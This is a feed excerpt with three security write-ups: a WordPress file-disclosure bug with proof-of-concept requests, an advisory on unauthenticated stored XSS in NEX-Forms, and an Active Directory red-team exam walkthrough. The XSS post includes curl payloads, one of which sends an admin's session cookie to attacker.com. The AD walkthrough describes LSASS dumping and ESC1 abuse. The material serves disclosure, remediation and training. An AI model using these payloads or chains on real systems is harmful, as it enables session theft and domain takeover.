get_option('sp_cu_release_the_kraken') != 1) {<br>            if (($r[0]['pid'] == 0 &amp;&amp; $uid != $r[0]['uid'])) {<br>                return 'You do not have access to this file.';<br>            }<br>        }<br>        // ... builds and returns a download link for the file<br>    }<br>}</pre><p>The last clause of the OR chain is the bug: !wp_verify_nonce($_REQUEST['_ckey'], 'cdm-public-download'). wp_verify_nonce() returns false whenever the supplied nonce is missing or invalid — which is the <em>default</em> state for any unauthenticated visitor who was never issued one. Negating that result turns "no valid nonce" into true, and because it's OR-chained with every legitimate permission check above it, a single missing parameter overrides all of them.</p><p>The only thing standing between an anonymous visitor and a file is whether that file’s pid (parent folder ID) is 0. Files sitting at the document root are still protected by a secondary ownership check. Files inside any project folder are not.</p><h3>Phase 3: Building an Isolated Test Environment</h3><p>To validate this safely and reproducibly, I built a throwaway WordPress install rather than touching any live site.</p><pre>services:<br>  db:<br>    image: mysql:5.7<br>    command: --innodb-buffer-pool-size=128M --innodb-log-file-size=32M<br>    environment:<br>      MYSQL_ROOT_PASSWORD: rootpass123<br>      MYSQL_DATABASE: wordpress<br>      MYSQL_USER: wpuser<br>      MYSQL_PASSWORD: wppass123<br>    volumes:<br>      - db_data:/var/lib/mysql</pre><pre>  wordpress:<br>    image: wordpress:latest<br>    ports:<br>      - "8080:80"<br>    environment:<br>      WORDPRESS_DB_HOST: db:3306<br>      WORDPRESS_DB_NAME: wordpress<br>      WORDPRESS_DB_USER: wpuser<br>      WORDPRESS_DB_PASSWORD: wppass123<br>    volumes:<br>      - wp_data:/var/www/html</pre><pre>volumes:<br>  db_data:<br>  wp_data:</pre><pre>docker compose up -d</pre><p>After installing WordPress, I installed the plugin via the dashboard, embedded its shortcode on a page, created a project folder (“Client Project A”), and uploaded a synthetic test file containing the string Confidential client data - test — standing in for what a real document would contain.</p><h3>Phase 4: Proof of Concept</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6Q34zvUrSTxZ7jqy2M98-Q.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZBk8HPEpG1tgtvWSwVPuiw.png"></figure><p>With a file sitting inside a project folder (File ID: #2, owner: admin, folder: Client Project A), I opened a private/incognito browser window — no cookies, no session, no prior interaction with the site — and requested:</p><pre>GET /wp-admin/admin-ajax.php?action=cdm_view_file&amp;id=2</pre><p>The response, completely unauthenticated:</p><pre>Download File<br>June 30, 2026 1:51 pm • File ID: #2</pre><pre>File Name: test2<br>File Owner: admin<br>Folder #1: Client Project A<br>File Type: txt<br>File Size: 32.00B<br>Notes: [internal note text]</pre><p>A working “Download File” link was included in the response. Clicking it, still from the same unauthenticated private session, retrieved the file in full:</p><pre>Confidential client data - test</pre><p>No login. No nonce. No interaction with the site prior to this single request. Full file metadata and full file content, for a document belonging to another user, inside a permission-scoped project folder — the exact scenario the plugin’s access control was designed to prevent.</p><p>As a control, I repeated the same request against a file sitting at the document root (pid = 0) rather than inside a project folder. That request correctly returned "You do not have access to this file." — confirming the secondary root-level ownership check works as intended, and that the vulnerability is specifically scoped to files inside project folders, which is the plugin's primary intended use case.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eRqy36-Nd5Lxxtcet6NkrA.png"></figure><h3>A Second, Independent Code Path</h3><p>Before writing up a disclosure report, I went one step further and asked: even if view_file() is patched, is the download mechanism itself safe on its own?</p><p>The answer is no, under default configuration. download.php registers its own handler on the init hook, independent of view_file() entirely:</p><pre>add_action('init', array($cdm_download_file, 'download'), -100);</pre><pre>if ( (is_user_logged_in() &amp;&amp; get_option('sp_cu_user_require_login_download') == 1 )<br>     or (get_option('sp_cu_user_require_login_download') == '' or get_option('sp_cu_user_require_login_download') == 0 )){<br>    // ... all permission checks (folder permissions, ownership, nonce) live inside this block<br>}</pre><p>I confirmed via direct database query that sp_cu_user_require_login_download does not exist as a row in wp_options on a fresh install — meaning get_option() returns an empty string, which satisfies the second OR branch and skips every permission check inside the block entirely. This is not a misconfiguration; it's the plugin's default, untouched state.</p><p>To verify this independently of view_file(), I constructed a download token manually from raw database values, without ever calling the AJAX endpoint:</p><pre>TOKEN=$(echo -n "2|2026-06-30 13:51:34|secret-test1.txt" | base64 -w0)</pre><pre>GET /wp-admin/admin-ajax.php?cdm-download-file-id=MnwyMDI2LTA2LTMwIDEzOjUxOjM0fHNlY3JldC10ZXN0MS50eHQ=</pre><p>From a fresh private browsing session, this returned the complete file content directly as a download — confirming that download.php's authorization logic is independently bypassable, via a different hook (init, not admin-ajax action routing), a different file, and a different root cause from the view_file() issue above.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qVqQyz8lLldvfIqJAEV-Qw.png"></figure><h3>The Reality Check</h3><p>Before drafting a disclosure report, I checked the WPScan and NVD databases for this plugin — a step I’d recommend before ever writing one line of a report, and one I almost skipped in the moment of having a fully working PoC.</p><p>The plugin has roughly twenty previously disclosed vulnerabilities. One of them, filed only weeks before this research, is <strong>CVE-2026–10737</strong>: a missing capability check on view_file(), at the same line of code, enabling unauthenticated attackers to obtain file metadata and download links for arbitrary files inside project folders.</p><p>It is the same bug. I had independently arrived at the same root cause someone else had already reported.</p><p>I want to be precise about what I’m claiming and what I’m not. The view_file() finding in Phase 2–4 above overlaps directly with CVE-2026-10737 and is not a new disclosure. The download.php finding in the section above it is a separate code path, separate file, and separate trigger mechanism — whether it warrants distinct tracking is a judgment call for the people who triage vulnerability reports, not something I'm in a position to assert unilaterally. I'm documenting it transparently rather than overstating its novelty.</p><h3>Attack Chain Summary</h3><pre>[Attacker — no credentials, no prior session]<br>        │<br>        ▼<br>[1] Identify unauthenticated AJAX surface via wp_ajax_nopriv_ grep<br>        │<br>        ▼<br>[2] Locate negated-nonce OR-chain bypass in view_file() access gate<br>        │<br>        ▼<br>[3] Confirm bypass scoped to files inside project folders (pid != 0)<br>        │<br>        ▼<br>[4] Request admin-ajax.php?action=cdm_view_file&amp;id=&lt;N&gt; — unauthenticated<br>    → Full file metadata + download link returned<br>        │<br>        ▼<br>[5] Independently confirm download.php's own auth gate is bypassed<br>    by default (unset sp_cu_user_require_login_download option)<br>        │<br>        ▼<br>[6] Construct download token manually, retrieve file directly<br>    → Full file content obtained, zero authentication, two independent paths</pre><h3>What This Taught Me</h3><p>A few things, none of which I expected to learn from a vulnerability that didn’t end in a new CVE:</p><p><strong>N-day overlap is normal, not a failure.</strong> Independently rediscovering a bug someone reported weeks earlier doesn’t mean the methodology was flawed — it means the bug was findable through a reasonable, repeatable process. That’s useful signal about both the plugin and the approach.</p><p><strong>Check existing databases before writing the report, not after.</strong> I now treat a WPScan/NVD lookup as a mandatory step before disclosure drafting begins, not an afterthought once a PoC is already polished.</p><p><strong>Distinguishing “same bug” from “adjacent bug” matters, and it’s not always obvious.</strong> The view_file() and download.php issues share a vulnerability class and a plugin, but live in different files, different hooks, and different trigger conditions. Being precise about that distinction — rather than inflating either finding's novelty — is part of doing this work honestly.</p><p><strong>The environment-building and validation process is the actual skill being practiced.</strong> Standing up an isolated Docker stack, tracing a vulnerable code path from an unauthenticated entry point to confirmed impact, building two independent PoCs, and writing them up accurately — that process transfers to the next audit regardless of whether this particular plugin yields a CVE with my name attached to it.</p><h3>Final Thoughts</h3><p>I’m 16, working through CRTA, Web-RTA, and the AD-RTS path toward OSCP, and this is one of many plugin audits I’ll run this year. Most won’t end in a new CVE — and I think that’s worth saying out loud rather than only publishing the wins. This one taught me more about doing security research honestly than it would have if I’d been first.</p><p><em>If you found this useful, feel free to connect on</em> <a href="https://linkedin.com/in/camalzads"><em>LinkedIn</em></a> <em>or check out my tools on</em> <a href="https://github.com/alisalive"><em>GitHub</em></a><em>.</em></p><p><em>All testing was conducted in an isolated, locally-hosted environment using a publicly available plugin release. No live or third-party systems were accessed at any point during this research.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=8a2d5ed61556" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/i-found-an-unauthenticated-file-disclosure-bug-in-a-wordpress-plugin-then-found-out-i-was-a-few-8a2d5ed61556">I Found an Unauthenticated File Disclosure Bug in a WordPress Plugin — Then Found Out I Was a Few…</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Unauthenticated Stored XSS in NEX-Forms Express WP Form Builder (≤ 9.1.10) — CVSS 8.8 High]]></title>
<description><![CDATA[TL;DR: Any anonymous visitor can POST a JavaScript payload to NEX-Forms’ form submission endpoint. The plugin stores it unsanitized in the database. When any admin opens the Entries panel, the payload executes — silently, automatically, every time. Complete site takeover from a single curl comman...]]></description>
<link>https://tsecurity.de/de/3643710/hacking/unauthenticated-stored-xss-in-nex-forms-express-wp-form-builder-9110-cvss-88-high/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3643710/hacking/unauthenticated-stored-xss-in-nex-forms-express-wp-form-builder-9110-cvss-88-high/</guid>
<pubDate>Fri, 03 Jul 2026 15:37:08 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3><strong><em>TL;DR:</em></strong><em> Any anonymous visitor can POST a JavaScript payload to NEX-Forms’ form submission endpoint. The plugin stores it unsanitized in the database. When </em>any<em> admin opens the Entries panel, the payload executes — silently, automatically, every time. Complete site takeover from a single curl command.</em></h3><p><strong>Tags:</strong> #WordPresSecurity #InfoSec #SecurityResearch</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B0I27yDTsfPdHb4smYnl5Q.png"></figure><h3>📋 Vulnerability Summary</h3><ul><li><strong>Plugin:</strong> NEX-Forms Express WP Form Builder</li><li><strong>Affected Version:</strong> ≤ 9.1.10 (latest as of 2026–03–22)</li><li><strong>Patched Version:</strong> Fixed</li><li><strong>Disclosure Status:</strong> Officially disclosed by WPScan, with vendor approval for disclosure agreement</li><li><strong>Vulnerability Type:</strong> Stored Cross-Site Scripting (XSS)</li><li><strong>CWE:</strong> CWE-79 — Improper Neutralization of Input During Web Page Generation</li><li><strong>CVSS 3.1 Score:</strong> <strong>8.8 HIGH</strong></li><li><strong>CVSS Vector:</strong> AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N</li><li><strong>Auth Required:</strong> ❌ None — fully unauthenticated</li><li><strong>Admin Interaction:</strong> ✅ Viewing the Entries page (routine workflow)</li><li><strong>Scope Change:</strong> ✅ Crosses from visitor context into privileged admin session</li></ul><h3>🔍 Introduction</h3><p>NEX-Forms Express WP Form Builder is a widely deployed WordPress form plugin. While reviewing its form submission pipeline, I found a stored Cross-Site Scripting vulnerability that requires <strong>zero authentication</strong> to exploit and results in full WordPress administrator compromise.</p><p>The vulnerability chains <strong>three distinct weaknesses</strong>:</p><ol><li>An open AJAX handler accessible without login</li><li>Missing HTML sanitization for array-type form fields</li><li>Unescaped output rendering in the WordPress admin panel</li></ol><p>Together, these allow a remote attacker to permanently plant malicious JavaScript that fires in every administrator’s browser — automatically, every time they view the form entries.</p><h3>⛓️ Root Cause: Three Weaknesses, One Chain</h3><h3>Weakness 1 — Open AJAX Handler (main.php:2656)</h3><p>WordPress has two AJAX hook prefixes: wp_ajax_ (logged-in users) and wp_ajax_nopriv_ (anonymous users). NEX-Forms registers both for its form submission handler:</p><pre>add_action( 'wp_ajax_submit_nex_form',        'submit_nex_form' );<br>add_action( 'wp_ajax_nopriv_submit_nex_form', 'submit_nex_form' );  // ← anonymous access</pre><p>Registering a nopriv handler is legitimate for a public contact form. The problem is what the handler does — there's no nonce verification, no CSRF check, and no rate limiting:</p><pre>function submit_nex_form($entry_action = false) {<br>    // ONLY check: honeypot field must be empty<br>    if ((sanitize_text_field($_POST['company_url']) != '') || strstr(..., '@qq.com'))<br>        die();<br>    // No: wp_verify_nonce(), check_ajax_referer(), current_user_can()<br>    // → proceeds directly to processing POST data</pre><p>Leave company_url empty and avoid a @qq.com address — you're in.</p><h3>Weakness 2 — Array Fields Skip Sanitization (main.php:2883)</h3><p>Inside the handler, form fields from $_POST are processed in a loop. Here's the critical divergence:</p><pre>if (is_array($val) || is_object($val)) {<br>    // ← CWE-79: rest_sanitize_array() does NO HTML stripping<br>    $data_array[] = [<br>        'field_name'  =&gt; $key,<br>        'field_value' =&gt; rest_sanitize_array($val),<br>    ];<br>} else {<br>    $val = strip_tags($val);              // ← scalar fields ARE stripped ✓<br>    $data_array[] = ['field_name' =&gt; $key,<br>        'field_value' =&gt; sanitize_text_field(str_replace('\\', '', $val))];<br>}</pre><blockquote><em>⚠️ </em><strong><em>The key fact:</em></strong><em> </em><em>rest_sanitize_array() is a WordPress REST API utility. Its entire implementation is </em><em>return array_values($data) — it reindexes the array and does </em><strong><em>nothing else</em></strong><em>. No HTML stripping. No entity encoding. Raw </em><em>&lt;script&gt;, </em><em>&lt;img onerror&gt;, and any other HTML passes straight through.</em></blockquote><p>The fix for scalar fields is right there in the else branch. The developer correctly applied strip_tags() to strings but chose the wrong function for array inputs.</p><h3>Weakness 3 — Raw Echo in Admin View (class.db.php:2624)</h3><p>When an admin opens an entry in the NEX-Forms dashboard, populate_form_entry() decodes the stored JSON and renders each field into an HTML table. For array-type values:</p><pre>foreach ($field_value as $val) {<br>    // ...<br>    $output .= rtrim($val, ', ') . '&lt;br /&gt;';  // ← no esc_html(), raw HTML output<br>}</pre><p>rtrim() strips trailing commas and spaces. That's it. The stored &lt;img src=x onerror=alert(document.domain)&gt; is written verbatim into $output, which is echoed directly into the admin page. WordPress's esc_html() — a one-character fix — was never applied.</p><h3>🔀 Attack Chain</h3><pre>Unauthenticated Attacker<br>        │<br>        │  1. HTTP POST — no credentials, no nonce, no CSRF token<br>        │     action=submit_nex_form<br>        │     nex_forms_Id=1<br>        │     company_url=              ← honeypot bypassed (empty)<br>        │     email=attacker@evil.com<br>        │     payload[]=&lt;img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)&gt;<br>        │<br>        ▼<br>    wp_ajax_nopriv_ handler fires<br>    submit_nex_form() passes honeypot check<br>    rest_sanitize_array() stores raw HTML → wp_wap_nex_forms_entries.form_data<br>        │<br>        │  2. Normal admin workflow: NEX-Forms → Entries<br>        │     (no special action required)<br>        │<br>        ▼<br>    populate_form_entry() decodes JSON<br>    rtrim($val) echoed without esc_html()<br>    &lt;img src=x onerror=...&gt; written directly into admin page DOM<br>        │<br>        ▼<br>    Browser renders admin page<br>    onerror fires automatically (no click required)<br>    Session cookie exfiltrated to attacker's server<br>        │<br>        ▼<br>    COMPLETE SITE TAKEOVER<br>    → Rogue admin account created<br>    → Backdoor plugin installed<br>    → Full database exfiltrated</pre><h3>🗄️ Database Evidence</h3><p>After submitting the PoC payload, a direct database check confirms the raw HTML is persisted:</p><pre>SELECT form_data FROM wp_wap_nex_forms_entries ORDER BY id DESC LIMIT 1;</pre><pre>[<br>  {"field_name": "email", "field_value": "attacker@evil.com"},<br>  {"field_name": "payload", "field_value": ["&lt;img src=x onerror=alert(document.domain)&gt;"]}<br>]</pre><p>The &lt;img&gt; tag is stored <strong>verbatim</strong> with no entity encoding. It persists until manually deleted — meaning every admin who views the Entries page will trigger the XSS, not just the first.</p><h3>🖥️ Admin Page Rendered Output</h3><p>Lab-confirmed AJAX response when admin loads the injected entry:</p><pre>&lt;td valign="top" style="vertical-align:top !important;"&gt;<br>  &lt;table width="100%" class="highlight" cellpadding="10" cellspacing="0"&gt;<br>    &lt;img src=x onerror=alert(document.domain)&gt;&lt;br /&gt;<br>  &lt;/table&gt;<br>&lt;/td&gt;</pre><p>The &lt;img&gt; tag lands directly in the DOM. The browser tries to load src="x", fails, and fires onerror — <strong>no click, no interaction required</strong>.</p><h3>💻 Proof of Concept</h3><blockquote><strong><em>Disclosure note:</em></strong><em> This PoC is provided for educational and authorized security testing only. Lab environment: WordPress 6.9.4, NEX-Forms 9.1.10, Bitnami Docker.</em></blockquote><h3>Step 1 — Inject payload (unauthenticated)</h3><pre>curl -s -X POST "http://TARGET/wp-admin/admin-ajax.php" \<br>  --data "action=submit_nex_form" \<br>  --data "nex_forms_Id=1" \<br>  --data "company_url=" \<br>  --data "email=attacker@evil.com" \<br>  --data "payload[]=&lt;img src=x onerror=alert(document.domain)&gt;"</pre><p>Expected response — valid entry ID confirms storage:</p><pre>&lt;input type="hidden" name="nf_entry_id" value="13"&gt;</pre><h3>Step 2 — Verify raw storage</h3><pre>wp db query "SELECT form_data FROM wp_wap_nex_forms_entries ORDER BY id DESC LIMIT 1;"<br># The &lt;img&gt; tag appears verbatim in field_value — no HTML encoding.</pre><h3>Step 3 — Trigger XSS as admin</h3><ol><li>Log in to WordPress admin: <a href="http://target/wp-admin/">http://TARGET/wp-admin/</a></li><li>Navigate to <strong>NEX-Forms → Form Entries</strong></li><li>Click the affected form → click the injected entry row</li><li>alert("localhost:8080") fires immediately — no interaction beyond page load</li></ol><h3>Step 4 — Real-world session hijack</h3><pre>curl -s -X POST "http://TARGET/wp-admin/admin-ajax.php" \<br>  --data "action=submit_nex_form" \<br>  --data "nex_forms_Id=1" \<br>  --data "company_url=" \<br>  --data "email=attacker@evil.com" \<br>  --data 'payload[]=&lt;img src=x onerror="var i=new Image();i.src='"'"'https://attacker.com/steal?c='"'"'+encodeURIComponent(document.cookie);"&gt;'</pre><p>When the administrator views entries, their session cookie is silently exfiltrated. From there, the attacker can create rogue admin accounts, install PHP webshell plugins, or dump the entire database.</p><h3>💥 Impact</h3><ul><li><strong>Admin views Entries (normal workflow):</strong> JavaScript executes in admin browser context</li><li><strong>Session cookie theft:</strong> Attacker hijacks admin session without credentials</li><li><strong>Rogue admin creation:</strong> fetch() silently POSTs to /wp-json/wp/v2/users</li><li><strong>Plugin upload via REST API:</strong> PHP webshell installed without further interaction</li><li><strong>Site defacement:</strong> document.body.innerHTML overwritten</li><li><strong>Persistent backdoor:</strong> Payload fires for every admin who views entries</li></ul><h3>🛠️ Remediation</h3><p>Two independent fixes are both necessary: sanitize at input, escape at output.</p><h3>Fix 1 — Sanitize array fields at storage (main.php:2883)</h3><p><strong>Vulnerable:</strong></p><pre>$data_array[] = [<br>    'field_name'  =&gt; $key,<br>    'field_value' =&gt; rest_sanitize_array($val),  // ← no HTML stripping<br>];</pre><p><strong>Fixed:</strong></p><pre>$sanitized = array_map('sanitize_text_field', (array) $val);<br>$data_array[] = [<br>    'field_name'  =&gt; $key,<br>    'field_value' =&gt; $sanitized,<br>];</pre><h3>Fix 2 — Escape output in admin view (class.db.php:2624)</h3><p><strong>Vulnerable:</strong></p><pre>$output .= rtrim($val, ', ') . '&lt;br /&gt;';</pre><p><strong>Fixed:</strong></p><pre>$output .= esc_html(rtrim($val, ', ')) . '&lt;br /&gt;';</pre><h3>Fix 3 — Nonce verification (defense-in-depth)</h3><pre>// Add at the top of submit_nex_form():<br>if (!isset($_POST['nf_nonce']) ||<br>    !wp_verify_nonce($_POST['nf_nonce'], 'nf_submit_' . $nex_forms_id)) {<br>    wp_send_json_error('Invalid request');<br>}</pre><blockquote><em>Fix 1 and Fix 2 each independently prevent the XSS. Fix 3 makes automated injection harder but is not a substitute for proper sanitization and escaping.</em></blockquote><h3>📊 CVSS 3.1 Breakdown</h3><ul><li><strong>Attack Vector (AV):</strong> Network (N) — Exploitable remotely over HTTP</li><li><strong>Attack Complexity (AC):</strong> Low (L) — Works on any default installation with a form</li><li><strong>Privileges Required (PR):</strong> None (N) — Fully unauthenticated</li><li><strong>User Interaction (UI):</strong> Required (R) — Admin views entries — their normal workflow</li><li><strong>Scope (S):</strong> Changed © — XSS crosses from visitor into privileged admin session</li><li><strong>Confidentiality ©:</strong> High (H) — Admin cookies, DB content, secret keys exposed</li><li><strong>Integrity (I):</strong> High (H) — Can create admins, install plugins, modify all content</li><li><strong>Availability (A):</strong> None (N) — No direct denial-of-service impact</li></ul><p><strong>Base Score: 8.8 HIGH</strong> — AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N</p><h3>📣 Disclosure Resources</h3><ul><li><strong>Plugin Author:</strong> <a href="https://basixonline.net/">https://basixonline.net/</a></li><li><strong>WordPress Plugin Support:</strong> <a href="https://wordpress.org/support/plugin/nex-forms-express-wp-form-builder/">https://wordpress.org/support/plugin/nex-forms-express-wp-form-builder/</a></li><li><strong>Wordfence Bug Bounty:</strong> <a href="https://www.wordfence.com/wordfence-intelligence-wordpress-vulnerability-database/">https://www.wordfence.com/wordfence-intelligence-wordpress-vulnerability-database/</a></li><li><strong>WPScan Vulnerability Database:</strong> <a href="https://wpscan.com/">https://wpscan.com/</a></li></ul><h3>🔑 Key Takeaways</h3><p><strong>For developers:</strong></p><ul><li>Always apply esc_html() (or esc_attr(), esc_url()) at every output point in WordPress — even in admin-only pages</li><li>Never assume admin-facing output is “safe” — XSS in admin context is just as dangerous as front-end XSS</li><li>rest_sanitize_array() is for REST API coercion, not for HTML sanitization — use array_map('sanitize_text_field', $arr) instead</li><li>Apply the same sanitization consistently across all field types — asymmetric handling creates exploitable edge cases</li></ul><p><strong>For site owners:</strong></p><ul><li>If you use NEX-Forms Express ≤ 9.1.10, update immediately to the patched version.</li><li>Monitor your form entries for unexpected HTML or JavaScript in field values</li><li>Consider a WAF rule blocking &lt;script, onerror=, and javascript: in form POST bodies</li></ul><p>Stay tune for more!!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=e4bf33e67e82" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/unauthenticated-stored-xss-in-nex-forms-express-wp-form-builder-9-1-10-cvss-8-8-high-e4bf33e67e82">Unauthenticated Stored XSS in NEX-Forms Express WP Form Builder (≤ 9.1.10) — CVSS 8.8 High</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Certified AD Red Team Specialist (AD-RTS): Full Exam Write-Up]]></title>
<description><![CDATA[Author: Shikhali JamalzadeGitHub: alisalive LinkedIn: camalzads Platform: CyberWarfare Labs (CWL) Certification: AD-RTS — Active Directory Red Team Specialist Environment: TELECOM INC. — Simulated Telecom-Sector Active Directory ForestA few months back I finished the AD-RTS course material from C...]]></description>
<link>https://tsecurity.de/de/3643709/hacking/certified-ad-red-team-specialist-ad-rts-full-exam-write-up/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3643709/hacking/certified-ad-red-team-specialist-ad-rts-full-exam-write-up/</guid>
<pubDate>Fri, 03 Jul 2026 15:37:06 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jTIA7B832VNBN7OzR31H_Q.png"></figure><h4>Author: <a href="https://medium.com/u/20557ba7487d">Shikhali Jamalzade</a><br>GitHub: <a href="http://github.com/alisalive">alisalive </a><br>LinkedIn: <a href="http://linkedin.com/in/camalzads">camalzads </a><br>Platform: CyberWarfare Labs (CWL) <br>Certification: AD-RTS — Active Directory Red Team Specialist Environment: TELECOM INC. — Simulated Telecom-Sector Active Directory Forest</h4><p>A few months back I finished the AD-RTS course material from CyberWarfare Labs — four modules covering core Active Directory internals, Certificate Services abuse, Exchange Server exploitation, and ESXi-to-AD integration attacks. The course itself is dense, but the real test is the 30-day flag-based challenge lab that comes after it: a live, self-contained telecom environment called telecore.ad, built around a fictional company, TELECOM INC., with a Domain Controller, a SQL Server, a PKI/ADCS server, an Exchange server, an IIS-hosted internal web application, and an ESXi hypervisor sitting inside the same domain.</p><p>The exam is split into two independent adversary paths. Path 1 assumes zero credentials and zero prior access — you start with nothing but an IP range. Path 2 assumes you already have a low-privilege authenticated foothold on a public-facing web server and have to escalate from there. Both paths converge on the same underlying domain, but the entry vectors, the misconfigurations abused, and the final objectives are completely different. This write-up walks through the full methodology for both paths, exactly as I approached them, without listing the specific flag values captured along the way — the point here is the how, not the what.</p><p>Target: TELECOM INC. internal AD forest (telecore.ad) Stack: Windows Server 2022 Domain Controller, MS SQL Server (SQLEXPRESS), ADCS Certificate Authority, Exchange Server, IIS 10 / ASP.NET Web Forms, VMware ESXi with AD-joined authentication Assessment Type: Adversary emulation — unauthenticated black-box (Path 1) and authenticated foothold escalation (Path 2) Tools: nmap, dig, ldapsearch, Impacket suite (GetNPUsers, mssqlclient, wmiexec, secretsdump), hashcat, John the Ripper, GodPotato, certipy-ad, rpcclient, smbclient, pyVmomi, ysoserial.net, exchangelib, netexec</p><h3>Path 1: Unauthenticated Adversary</h3><p>The brief for Path 1 is deliberately minimal: you are handed a /24 and told to behave like a telecom-motivated APT starting from zero. No credentials, no internal knowledge, nothing but network reachability into the range.</p><h3>Mapping the DNS Infrastructure</h3><p>Every internal Windows environment leans on DNS to keep itself glued together, and that dependency is usually the first crack an attacker can pry open. A UDP sweep across port 53 on the target range revealed multiple name servers, one of which turned out to be a secondary, less-hardened DNS instance sitting outside the domain controller itself. Once I pointed my resolver configuration at that secondary server, a full PTR sweep across the subnet mapped every reverse DNS record in the environment — instantly revealing the hostnames and roles of every server in play: the domain controller, the SQL server, the certificate authority, the Exchange server, and the hypervisor, all before a single authenticated packet had been sent.</p><p>The real opening, though, came from testing whether that secondary DNS server would honor a zone transfer request. It did — both in the reverse zone and in the forward zone for telecore.ad. AXFR being enabled on an internet- or perimeter-adjacent DNS server is a classic, almost nostalgic misconfiguration, but it remains devastatingly effective: a single dig command handed over the complete internal namespace, service records, and IP-to-hostname mapping for the entire forest, again with zero authentication.</p><p>With the domain controller identified from the zone transfer, the next step was straightforward LDAP enumeration over anonymous bind — pulling the domain’s functional level, then walking the directory for every object under objectClass=user and objectClass=computer. This produces two things that matter enormously for what comes next: a clean list of real domain user accounts (filtered out from the noise of Exchange system mailboxes and health-check accounts that always clutter a mailbox-enabled AD), and a map of which machines in the domain hold interesting roles.</p><h3>From Kerberos Pre-Auth to a Foothold on SQL</h3><p>With a legitimate username list in hand, the obvious next move was to test for accounts with Kerberos pre-authentication disabled — the classic ASREPRoasting misconfiguration. Impacket’s GetNPUsers module does this cleanly: it walks the username list and, for any account with the UF_DONT_REQUIRE_PREAUTH flag set, returns a crackable AS-REP hash without ever needing to know the account’s password up front. One of the service-oriented accounts in the environment had exactly this misconfiguration, and the resulting hash fell quickly to a dictionary attack.</p><p>Cracked credentials in hand, the next question was where they were actually valid. Cross-referencing against the computer objects pulled during LDAP enumeration pointed straight at the SQL Server. Authenticating to it with Impacket’s MSSQL client confirmed the account held sysadmin-equivalent rights on the instance — enough to re-enable the xp_cmdshell extended stored procedure, which is disabled by default on modern SQL Server but, once flipped back on, gives arbitrary OS command execution in the context of the SQL service account.</p><h3>From Service Account to SYSTEM</h3><p>Command execution as the SQL service account is useful, but it’s not the finish line — the account only had ordinary service-level privileges. A privilege check revealed SeImpersonatePrivilege was enabled, which is the precondition for the entire family of “Potato” privilege escalation exploits. On a fully patched, modern Windows Server build, most of the older Potato variants (RoguePotato, JuicyPotato, PrintSpoofer) have been closed off, but GodPotato remains effective against current builds because it abuses a lower-level RPC/DCOM marshaling primitive rather than a specific, patchable service misconfiguration.</p><p>Dropping GodPotato onto the SQL box through the xp_cmdshell channel and triggering it against a reverse shell payload elevated the session cleanly from a low-privilege service account to NT AUTHORITY\SYSTEM.</p><p>With SYSTEM on the SQL server, the natural move was a credential harvest from LSASS. Rather than dropping a third-party dumping tool that’s likely to trip EDR, I used the built-in comsvcs.dll MiniDump export via rundll32 — a living-off-the-land technique that doesn’t touch disk with anything outside of what Windows already ships. The resulting dump was compressed, exfiltrated back to the attacking host over a simple HTTP upload listener, and parsed offline with pypykatz, which yielded NTLM hashes and Kerberos material for every account that had ever authenticated interactively or as a service on that box — including a domain account with a considerably more interesting set of permissions than the one I’d started with.</p><h3>Abusing ADCS: ESC1 to Domain Admin</h3><p>The newly recovered account turned out to have enrollment rights on a certificate template published by the internal PKI, and enumerating that CA with certipy-ad flagged the template as vulnerable to the ESC1 misconfiguration: the template allows the requester to supply an arbitrary Subject Alternative Name while also permitting client authentication, meaning any authenticated user with enroll rights can request a certificate asserting an identity that isn’t their own — including Domain Admin.</p><p>Before actually requesting the certificate, it’s worth noting the certifried mitigation Microsoft shipped in response to CVE-2022–26923: modern domain controllers now cross-check the SID embedded in the certificate’s security extension against the SAN identity, so simply putting an administrator’s UPN in the SAN field is no longer sufficient on its own — you also need the correct objectSid for that account, retrievable over RPC with a simple SID lookup against the domain controller. With both the UPN and the correct SID supplied in the certificate request, the CA issued a certificate that authenticated as the Domain Administrator, and that certificate could then be exchanged for the account’s NT hash directly — no interactive logon, no password reset, just a straightforward abuse of a legitimate PKI enrollment workflow.</p><p>From there it was a matter of cracking the recovered hash offline and confirming Domain Admin access against the domain controller directly, which also surfaced an interesting security group in the domain that doesn’t exist in a stock AD install: an ESX Admins group, hinting strongly at the next phase of the assessment.</p><h3>Pivoting into the Hypervisor</h3><p>ESXi hosts joined to Active Directory for centralized authentication are common in mixed enterprise environments, and telecore.ad had exactly this setup: the hypervisor trusted domain credentials, and membership in that ESX Admins group translated directly into root-equivalent access on the host. With the cracked Domain Admin credential, I authenticated to the ESXi host and used the pyVmomi SDK — VMware’s official Python bindings for the vSphere API — to programmatically enumerate every guest VM running on the hypervisor: power state, guest OS, VMware Tools status, and, critically, the free-text annotation/notes field attached to each VM object.</p><p>Notes fields on virtual machines are a surprisingly common dumping ground for exactly the kind of information that should never live there — and this environment was no exception. One particular guest VM had its local credentials sitting in plaintext in its own annotation field, visible to anyone with sufficient ESXi permissions to query VM metadata.</p><p>With ESXi root privileges and VMware Tools confirmed present on the target guest, the final move didn’t require touching the guest’s network interface at all. VMware Tools 